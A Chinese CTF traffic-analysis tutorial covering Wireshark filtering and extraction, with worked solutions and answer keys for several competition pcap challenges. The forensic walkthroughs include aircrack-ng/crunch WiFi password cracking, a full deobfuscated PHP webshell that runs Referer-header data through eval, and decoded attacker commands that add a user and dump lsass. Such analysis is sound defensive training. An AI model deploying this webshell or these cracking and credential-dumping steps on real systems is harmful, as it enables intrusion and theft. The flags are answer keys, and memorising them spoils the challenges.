前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >CTF-流量分析总结

CTF-流量分析总结

作者头像
小简
发布于 2022-12-29 00:44:54
发布于 2022-12-29 00:44:54
4.8K00
代码可运行
举报
文章被收录于专栏:简言之简言之
运行总次数:0
代码可运行

在CTF比赛中,对于流量包的分析取证是一种十分重要的题型。通常这类题目都是会提供一个包含流量数据的pcap文件,选手通过该文件筛选和过滤其中无关的流量信息,根据关键流量信息找出flag或者相关线索,一般flag隐藏在某个数据包里面,或者需要从中提取一个文件出来等等,还有wifi的握手包,需要获取wifi密码等。

附件下载

本文章涉及的所有题目附件下载地址: 链接:https://pan.baidu.com/s/18mWo5vn1zp_XbmcQrMOKRA 提取码:hrc4

Wireshark的使用

下载地址:https://www.wireshark.org/download.html pcap流量包的分析通常是通过图形化的网络嗅探器——Wireshark进行的. Wireshark的基本使用分为数据包筛选、数据包搜索、数据包还原、数据提取四个部分。

数据包筛选

筛选ip

源ip筛选

方法一:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
ip.src == 源ip地址

方法二: 选中一个源IP是筛选条件的数据包,找到Internet Protocol Version 4下的Source字段。

右击Source字段,再选择作为过滤器应用 –-> 最后点击选中,就可筛选出该源IP的所有包了

目的ip筛选

方法一:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
ip.dst == 目的ip地址

方法二: 跟上面源IP筛选方法类似

选中一个源IP是筛选条件的数据包,找到Internet Protocol Version 4下的Destination字段。

右击Destination字段,再选择作为过滤器应用 –-> 最后点击选中,就可筛选出该目的IP的所有包了

mac地址筛选
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
eth.dst ==A0:00:00:04:C5:84 筛选目标mac地址

eth.addr==A0:00:00:04:C5:84 筛选MAC地址
端口筛选
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
tcp.dstport == 80  筛选tcp协议的目标端口为80的流量包

tcp.srcport == 80  筛选tcp协议的源端口为80的流量包

udp.srcport == 80  筛选udp协议的源端口为80的流量包
协议筛选
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
tcp  筛选协议为tcp的流量包

udp 筛选协议为udp的流量包

arp/icmp/http/ftp/dns/ip  筛选协议为arp/icmp/http/ftp/dns/ip的流量包
包长度筛选
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
udp.length ==20   筛选长度为20的udp流量包

tcp.len >=20  筛选长度大于20的tcp流量包

ip.len ==20  筛选长度为20IP流量包

frame.len ==20 筛选长度为20的整个流量包
http请求筛选
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
请求方法为GET:http.request.method==GET”        筛选HTTP请求方法为GET的 流量包

请求方法为POST:http.request.method==POST”      筛选HTTP请求方法为POST的流量包

指定URI:http.request.uri==/img/logo-edu.gif”  筛选HTTP请求的URL/img/logo-edu.gif的流量包

请求或相应中包含特定内容:http contains “FLAG”    筛选HTTP内容为/FLAG的流量包

数据包搜索

在wireshark界面按“Ctrl+F”,可以进行关键字搜索:

Wireshark的搜索功能支持正则表达式、字符串、十六进制等方式进行搜索,通常情况下直接使用字符串方式进行搜索。

搜索栏的左边下拉,有分组列表、分组详情、分组字节流三个选项,分别对应wireshark界面的三个部分,搜索时选择不同的选项以指定搜索区域:

数据包还原

在wireshark中,存在一个追踪流的功能,可以将HTTP或TCP流量集合在一起并还原成原始数据,具体操作方式如下:

选中想要还原的流量包,右键选中,选择追踪流 – TCP流/UPD流/SSL流/HTTP流。

可在弹出的窗口中看到被还原的流量信息:

数据提取

Wireshark支持提取通过http传输(上传/下载)的文件内容,方法如下: 自动提取通过http传输的文件内容 文件->导出对象->HTTP

在打开的对象列表中找到有价值的文件,如压缩文件、文本文件、音频文件、图片等,点击Save进行保存,或者Save All保存所有对象再进入文件夹进行分析。

手动提取通过http传输的文件内容 选中http文件传输流量包,在分组详情中找到data,Line-based text, JPEG File Interchange Format, data:text/html层,鼠标右键点击 – 选中 导出分组字节流。

如果是菜刀下载文件的流量,需要删除分组字节流前开头和结尾的X@Y字符,否则下载的文件会出错。鼠标右键点击 – 选中 显示分组字节

在弹出的窗口中设置开始和结束的字节(原字节数开头加3,结尾减3)

最后点击Save as按钮导出。

流量分析经典题型

CTF题型主要分为流量包修复、数据提取、WEB流量包分析、USB流量包分析、无线密码破解和工控流量包分析等等。

入门题型

题目:Cephalopod(图片提取)

题目来源:XCTF 3rd-HITB CTF-2017 考点:图片提取 题目信息:(Cephalopod.pcapng)

数据包打开,分组字节流查询flag,发现出现了flag.png的字样,但是并没有这个图片文件,往下翻,图片应该在长度较大的流中,追踪tcp流在tcp.stream eq 2处找到图片文件,保存为原始数据

删除PNG前面多余部分,保存为1.png

得到flag

题目:特殊后门(icmp协议信息传输)

题目来源:第七届山东省大学生网络安全技能大赛 考点:字符串搜索,icmp协议信息传输 题目信息:(backdoor++.pcapng)

搜索flag字符串,在icmp中得到提示flagishere

之后的每一个icmp包都有含一个flag字符

依次查看所有icmp包拼凑字符得到flag flag{Icmp_backdoor_can_transfer-some_infomation}

题目:手机热点(蓝牙传输协议obex,数据提取)

题目来源:第七季极客大挑战 考点:蓝牙传输协议obex,数据提取 题目信息:(Blatand_1.pcapng)

根据题目提示,手机共享,那么应该是蓝牙传输,蓝牙传输协议为OBEX,过滤后发现含有一个压缩包

方法一:foremost分离后得到压缩包,解压得到flag.gif

方法二:选中含secret.rar包,进行如下操作

保存为1.rar,解压后得到flag.gif

题目:想蹭网先解开密码(无线密码破解)

题目来源:bugku 考点:无线密码破解 题目信息:(wifi.cap)

下载cap包,WIFI连接认证的重点在WPA的四次握手包,也就是eapol协议的包,过滤一下

果然存在四次握手包,直接进行无线密码爆破 创建密码字典:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
crunch 11 11 -t 1391040%%%% >> wifipass.txt

Linux下的字典生成工具Crunch 利用aircrack-ng 进行爆破

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
aircrack-ng -w wifipass.txt wifi.cap

得到flag flag{13910407686}

进阶题型

题目:抓到一只苍蝇(数据包筛选,数据提取)

题目来源:bugku 考点:数据包筛选,数据提取 题目信息:(misc_fly.pcapng)

首先打开数据包,题目提示了抓到一只苍蝇,试一试搜索苍蝇

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http contains "苍蝇"

发现一些可疑信息,仔细分析一下发现是在发qq邮件,并且还上传了文件

既然上传了文件,我们再过滤POST请求试试:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http.request.method==POST

可以看到13号数据包调用函数CreateFile,然后下面几个可能就是文件内容了,具体是几个,仔细看看URL,738号数据包有个需要调用函数CheckFile,并且前面的5个数据包url的路径一样, 所以从第一个开始,后5个数据包是flag.rar内容

我们将分组字节流中的原始数据分别保存为1、2、3、4、5,方便操作

但是由于TCP包有文件头,我们需要去掉文件头才能将原始数据合成一个文件, 从第一个数据包可以看出来:

文件大小是525701字节,我们需要的这5个数据包的大小(Media Type中可看到):

131436*4+1777=527521 527521-525701=1820 1820/5=364

tcp包的文件头就为364

然后使用linux的一些工具进行操作即可得到flag.rar 依次把五个文件去掉文件头保存到另一文件 这里使用dd:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
dd if=1 bs=1 skip=364 of=1.1

dd命令语法:
if 输入文件名
bs 设置每次读写块的大小为1字节 
skip 指定从输入文件开头跳过多少个块后再开始复制
of 输出文件名

然后再用linux的输入流来合并成一个文件:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
cat 1.1 2.1 3.1 4.1 5.1 > fly.rar
或者
copy /B 1.1+2.1+3.1+4.1+5.1 fly.rar

然后fly.rar又被伪加密了,所以需要将这个文件用HXD打开后,将其中的74 84改为74 80就能打开了

解压得到flag.txt,用HXD打开,显示在win32下运行,

因此改为exe可执行文件后,一堆苍蝇出现了。。。。 binwalk一下发现含有很多图片,foremost提取一下,得到一个二维码

扫码得到flag

数据分析题

题目一,二,三,四 题目给了10个流量包,其中只有四个流量包能够分析出有用信息 为了方便,分为题目一二三四对四个流量包进行了分析

题目详情:

题目一(1.pcap)

题目来源:2018信息安全铁人三项数据赛

题目要求: 1.黑客攻击的第一个受害主机的网卡IP地址 2.黑客对URL的哪一个参数实施了SQL注入 3.第一个受害主机网站数据库的表前缀(加上下划线例如abc_) 4.第一个受害主机网站数据库的名字

打开流量包,流量包有点大,打开比较慢,这里我们先过滤为HTTP协议可以看到202.1.1.2192.168.1.8进行了疯狂的爆破

不难看出,黑客利用的SqlMap在对目标站点进行不断的SQL试探注入 因此受害主机的网卡IP地址为**192.168.1.8 ** 而注入的参数也可以清晰的看见,为**list[select]**

追踪http流,根据回显内容,目标站点数据库抛出的错误,可以清晰的看见

不难确定,目标站点的数据库表名前缀为**ajtuc_** 接着为了确定受害主机网站数据库的名字,再进行了一次过滤

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
(ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && http

此时挑选最后一次注入的payload进行url解码

可以清楚的看到

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
FROM joomla.ajtuc_users

因此数据库名为**joomla**

答案
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
1.黑客攻击的第一个受害主机的网卡IP地址 
192.168.1.8
2.黑客对URL的哪一个参数实施了SQL注入
list[select]
3.第一个受害主机网站数据库的表前缀(加上下划线例如abc_)
ajtuc_
4.第一个受害主机网站数据库的名字
joomla
题目二(2.pcap)

题目来源:2018信息安全铁人三项数据赛

题目要求: 1.黑客第一次获得的php木马的密码是什么 2.黑客第二次上传php木马是什么时间 3.第二次上传的木马通过HTTP协议中的哪个头传递数据

根据题目一已确定目标ip,所以依旧使用以下过滤简化操作

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
(ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && http

可以看到一个奇怪文件kkkaaa.php,跟进POST数据查看

不难发现,是中国菜刀的流量,木马密码为**zzz** 接着确定黑客第二次上传php木马的时间 我进行了过滤,猜想黑客应该是根据第一个木马来上传的第二个木马

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
(ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && http.request.method==POST

此时一条数据格外引人注目

我们对其16进制进行分析

将保存的值放入HXD中得到源码

将文件保存为php,但是代码经过混淆过的,在代码末尾加上下面两句代码

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
var_dump($j);
var_dump($x);

运行php进行解混淆,发现这就是木马

由此可确定这个引人注目的包上传了第二个木马 因此上传时间为:17:20:44.248365 美化后

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
$kh = "cb42";
$kf = "e130";
function x($t, $k)
{
    $c = strlen($k);
    $l = strlen($t);
    $o = "";
    for ($i = 0; $i < $l;) {
        for ($j = 0; ($j < $c && $i < $l); $j++, $i++) {
            $o .= $t{$i} ^ $k{$j};
        }
    }
    return $o;
}

$r = $_SERVER;
$rr = @$r["HTTP_REFERER"];
$ra = @$r["HTTP_ACCEPT_LANGUAGE"];
if ($rr && $ra) {
    $u = parse_url($rr);
    parse_str($u["query"], $q);
    $q = array_values($q);
    preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/", $ra, $m);
    if ($q && $m) {
        @session_start();
        $s =& $_SESSION;
        $ss = "substr";
        $sl = "strtolower";
        $i = $m[1][0] . $m[1][4];
        $h = $sl($ss(md5($i . $kh), 0, 3));
        $f = $sl($ss(md5($i . $kf), 0, 3));
        $p = "";
        for ($z = 1; $z < count($m[1]); $z++) $p .= $q[$m[2][$z]];
        if (strpos($p, $h) === 0) {
            $s[$i] = "";
            $p = $ss($p, 3);
        }
        if (array_key_exists($i, $s)) {
            $s[$i] .= $p;
            $e = strpos($s[$i], $f);
            if ($e) {
                $k = $kh . $kf;
                ob_start();
                @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/", "/-/"), array("/", "+"), $ss($s[$i], 0, $e))), $k)));
                $o = ob_get_contents();
                ob_end_clean();
                $d = base64_encode(x(gzcompress($o), $k));
                print("<$k>$d</$k>");
                @session_destroy();
            }
        }
    }
}

容易看到此时有两个与HTTP头有关的参数

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
$rr = @$_SERVER["HTTP_REFERER"];
$ra = @$_SERVER["HTTP_ACCEPT_LANGUAGE"];

还是使用过滤

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
(ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && http

然后可以看到许多请求footer.php的页面,点开一个查看详情

容易发现referer数据十分可疑,而ACCEPT_LANGUAGE较为正常 所以可以基本确定,木马通过HTTP协议中的**Referer**头传递数据

答案
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
1.黑客第一次获得的php木马的密码是什么
zzz
2.黑客第二次上传php木马是什么时间
17:20:44.248365
3.第二次上传的木马通过HTTP协议中的哪个头传递数据
Referer
题目三(3.pcap)

题目来源:2018信息安全铁人三项数据赛

题目要求: 1.内网主机的mysql用户名和请求连接的密码hash是多少(用户:密码hash) 2.php代理第一次被使用时最先连接了哪个IP地址

直接进行过滤

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
tcp contains "mysql" && mysql

得到大量数据,可以发现黑客应该在对Mysql的登录进行爆破,内网受害机器为192.168.2.20

我们找到最后一条登录数据

该值就为我们需要的mysql密码hash了 简单过滤一下

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
(ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && http

目标机器已经被挂上了tunnel.php,方便外网对内网的访问 为方便查看黑客操作,我们过滤出POST请求

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
(ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && http.request.method==POST && http

我们清晰的看见黑客的php代理第一次使用时最先连接4.2.2.2这个ip

答案
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
1.内网主机的mysql用户名和请求连接的密码hash是多少(用户:密码hash)
admin:1a3068c3e29e03e3bcfdba6f8669ad23349dc6c4
2.php代理第一次被使用时最先连接了哪个IP地址
4.2.2.2
题目四(4.pcap)

题目来源:2018信息安全铁人三项数据赛

题目要求: 1.黑客第一次获取到当前目录下的文件列表的漏洞利用请求发生在什么时候 2.黑客在内网主机中添加的用户名和密码是多少 3.黑客从内网服务器中下载下来的文件名

为确定黑客第一次获取到当前目录下的文件列表的漏洞利用请求发生在什么时候,我们继续进行过滤

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
(ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && (http contains "dir" || http contains "ls")

此时一条为ls,一条为dir,我们先对ls的进行验证 追踪其tcp流

发现并没有执行成功,再对dir进行验证

于是可以确定无误,目标系统为windows,同时dir命令执行成功 时间为:18:37:38.482420 既然该192.168.2.20的机器可以执行命令,于是我改变过滤方式,查看黑客如何进行攻击

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
ip.addr == 192.168.2.20 && http

不难发现,黑客利用echo命令写入了一个名为sh.php的后门

我们进一步跟进黑客执行的指令,由于是中国菜刀流量,我们选择根据回显明文,猜测指令,这样更有效率

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
ip.src == 192.168.2.20 && http

在18:50:09.344660时,我们发现可疑操作,我们发现一条可疑数据,判断黑客应该是执行了net user的命令

然后在18:50:42.908737发现黑客再次执行了net user命令 此时回显为:

看来黑客成功添加了管理员用户kaka 确定了大致的作案时间,我们即可使用过滤

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
ip.addr == 192.168.2.20 && http

根据之前的判断,我们可以知道 18:49:27.767754时,不存在kaka用户 18:50:42.908737时,kaka用户已成为管理员 所以可以断定作案时间点在这段时间内

在此期间,一共4个POST请求,我们挨个查看,果不其然,在第一个POST中就发现了问题

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Y2QvZCJDOlxwaHBTdHVkeVxXV1dcYjJldm9sdXRpb25caW5zdGFsbFx0ZXN0XCImbmV0IHVzZXIg
a2FrYSBrYWthIC9hZGQmZWNobyBbU10mY2QmZWNobyBbRV0=

解码后

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
cd/d"C:\phpStudy\WWW\b2evolution\install\test\"&net user kaka kaka /add&echo [S]&cd&echo [E]

可以明显看到

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
net user kaka kaka /add

于是可以断定,用户名和密码均为kaka 最后一题既然是下载,应该是利用中国菜刀进行下载了,那我们只过滤出post流量,查看命令即可

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
ip.dst == 192.168.2.20 && http.request.method==POST

然后我们在数据包的最后发现如下数据

我们将其解码

发现使用了procdump.exe 同时发现文件

解码得到

最后我们可以确定,黑客下载了lsass.exe_180208_185247.dmp文件

答案
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
1.黑客第一次获取到当前目录下的文件列表的漏洞利用请求发生在什么时候
18:37:38.482420
2.黑客在内网主机中添加的用户名和密码是多少
kaka:kaka
3.黑客从内网服务器中下载下来的文件名
lsass.exe_180208_185247.dmp

参考: CTF流量分析之wireshark使用 CTF流量分析之题型深度解析 CTF| 吃个鸡,一起破流量分析题吧! 2018年5月5日信息安全铁人三项赛数据赛题解

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2019-07-29,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
CSS选择器
在模块定义不太稳定的阶段,浏览器会采用厂商前缀实现某个特性。它允许早起采纳者试用浏览器实现的新属性。
奋飛
2019/08/15
1.6K0
CSS选择器详解
最近在做一些面试的工作,我经常会问的一个问题就是:CSS中有哪些选择器。我往往得到的答案就是id选择器啊、class选择器啊,再追问下去就没了,这让我很是意外! 看来这基础的东西,大家都说很重要,可真正能静下心来去看的并不多,更别说在项目中灵活使用了! 元素选择器 通配选择器 * { sRules } 选定文档所有的元素 /** 设置所有元素为红色 **/ * {   color: red; } <div>我是div</div> <p>我是p</p> 类型选择器 E { sRules } 选定指定的文
laixiangran
2018/04/11
2.9K0
从零开始学 Web 之 CSS3(一)CSS3概述,选择器
CSS3是CSS(层叠样式表)技术的升级版本,主要包括盒子模型、列表模块、超链接方式、语言模块、背景和边框、文字特效、多栏布局等模块。
Daotin
2018/08/31
1.2K0
第91天:CSS3 属性选择器、伪类选择器和伪元素选择器
除了以前学过的:link、:active、:visited、:hover,CSS3又新增了其它的伪类选择器。
半指温柔乐
2018/09/11
1.7K0
CSS选择器大全
通配符选择器 通配符选择器可代表给所有的标签添加样式   *{   margin:0px;   Padding:0px;   } class选择器 适合class属性值的选择器   .classSelector{   background-color:cyan;   } id选择器 适合id属性值的选择器   #idSelector{   background-color:red;   } 标签选择器 单一的标签选择器   span{   background-color:gold;   display:b
yechaoa
2022/06/10
3290
前端学习(15)~css3学习(九):选择器详解
CSS3在CSS2基础上,增强或新增了许多特性, 弥补了CSS2的众多不足之处,使得Web开发变得更为高效和便捷。
Vincent-yuan
2020/03/19
5570
CSS3选择器(全部)[通俗易懂]
CSS3选择器再CSS2.1选择器的基础上增加了属性选择器、伪类选择器、过滤选择器,减少了对HTML类名或ID名的依赖,避免了对HTML结构的干扰,让编写代码更加轻松。
全栈程序员站长
2022/09/14
7600
学习《CSS选择器Level-4》不完全版
选择器是CSS的核心组件。本文依据W3C的Selectors Level 4规范,概括总结了Level1-Level4中绝大多数的选择器,并做了简单的语法说明及示例演示。希望对程序员有所助益。
毛瑞
2019/04/10
1K0
学习《CSS选择器Level-4》不完全版
零基础学前端开发之CSS3深入选择器
如果需要选择紧接在另一个元素后的元素,而且二者有相同的父元素,可以使用相邻兄弟选择器(。
张哥编程
2024/12/19
1120
零基础学前端开发之CSS3深入选择器
CSS3选择器介绍及用法总结[通俗易懂]
CSS3新增了很多强大的选择器 它可以让我们少写一些js事件脚本 我们先来看看各个版本的选择器有哪些 注: ele代表element元素 attr代表attribute属性,val代表value属性值 :xxx都属于伪类选择器,::xxx都属于伪元素选择器 有名字的选择器我尽量细分了 #CCS1选择器#
全栈程序员站长
2022/09/14
1.5K0
CSS3选择器介绍及用法总结[通俗易懂]
CSS基础--属性选择器、伪类选择器
属性选择器 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>属性选择器</title> <style> .red{ color: red; } .blue{ color: blue; } .darkred{ color: darkred;
eadela
2019/09/29
1.1K0
《CSS选择器世界》读书笔记
CSS选择器可分为4类:选择器(如body{})、选择符(如相邻兄弟关系选择符+)、伪类(如:hover)和伪元素(如::before)。
kai666666
2024/07/11
1530
《CSS选择器世界》读书笔记
CSS选择器
像一串英文字母aaa会看做一行,浏览器认为中文可以随意换行,英文单词或者连字符可以换行,如果是连续的字母没有意义,不会换行,可以用下面的进行换行
Y编程者
2024/08/10
2450
CSS选择器
css之选择器
CSS(Cascading层叠 Style样式 sheets表),是用来为网页添加样式的代码。 css选择器的作用是用于选中元素,以便为其添加样式 1.基础选择器
bamboo
2019/01/29
8070
css之选择器
CSS选择器
标签选择器 : 元素名称 |div{...}|使用标签选择元素,优先级最低,使用最广泛|
王凡汎
2020/03/08
2.7K0
前端学习笔记之CSS选择器
    id > 类 > 标签 > 通配符(也算直接选中) > 继承 > 浏览器默认(即没有设置任何属性)
Jetpropelledsnake21
2019/02/15
2.1K0
css3 选择器
  以前学习css的时候总是看见一个效果就看一下,没有系统的学习,最近看见了这个css3的网站,打算系统学习下,今天要跟大家分享的是css3的选择器。
py3study
2020/01/15
5740
CSS选择器笔记
这几天拿出来看了一下,发现很多都忘记了。所以,我决定把它们贴在这里,方便以后查看。这对其他朋友应该也是有用的,毕竟选择器是制作网页效果的第一步。
ruanyf
2018/09/10
5560
全栈之前端 | 2.CSS3基础知识之选择器学习
在上一章节,作者针对CSS选择器做了一个简单介绍有那些选择器, 本章将表中的选择器进行一一实践展示。
全栈工程师修炼指南
2023/10/31
2970
全栈之前端 | 2.CSS3基础知识之选择器学习
CSS选择器如此之多,你了解多少?
css选择器非常之多,常见的如class选择器,id选择器,标签选择器等等。每个的用法都有所区别,虽然很多都能到达同样的效果,但还是有一些更优的选择。
Javanx
2019/09/04
4990
相关推荐
CSS选择器
更多 >
LV.1
这个人很懒,什么都没有留下~
目录
  • 附件下载
  • Wireshark的使用
    • 数据包筛选
      • 筛选ip
      • mac地址筛选
      • 端口筛选
      • 协议筛选
      • 包长度筛选
      • http请求筛选
    • 数据包搜索
    • 数据包还原
    • 数据提取
  • 流量分析经典题型
    • 入门题型
      • 题目:Cephalopod(图片提取)
      • 题目:特殊后门(icmp协议信息传输)
      • 题目:手机热点(蓝牙传输协议obex,数据提取)
      • 题目:想蹭网先解开密码(无线密码破解)
    • 进阶题型
      • 题目:抓到一只苍蝇(数据包筛选,数据提取)
    • 数据分析题
      • 题目一(1.pcap)
      • 题目二(2.pcap)
      • 题目三(3.pcap)
      • 题目四(4.pcap)
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档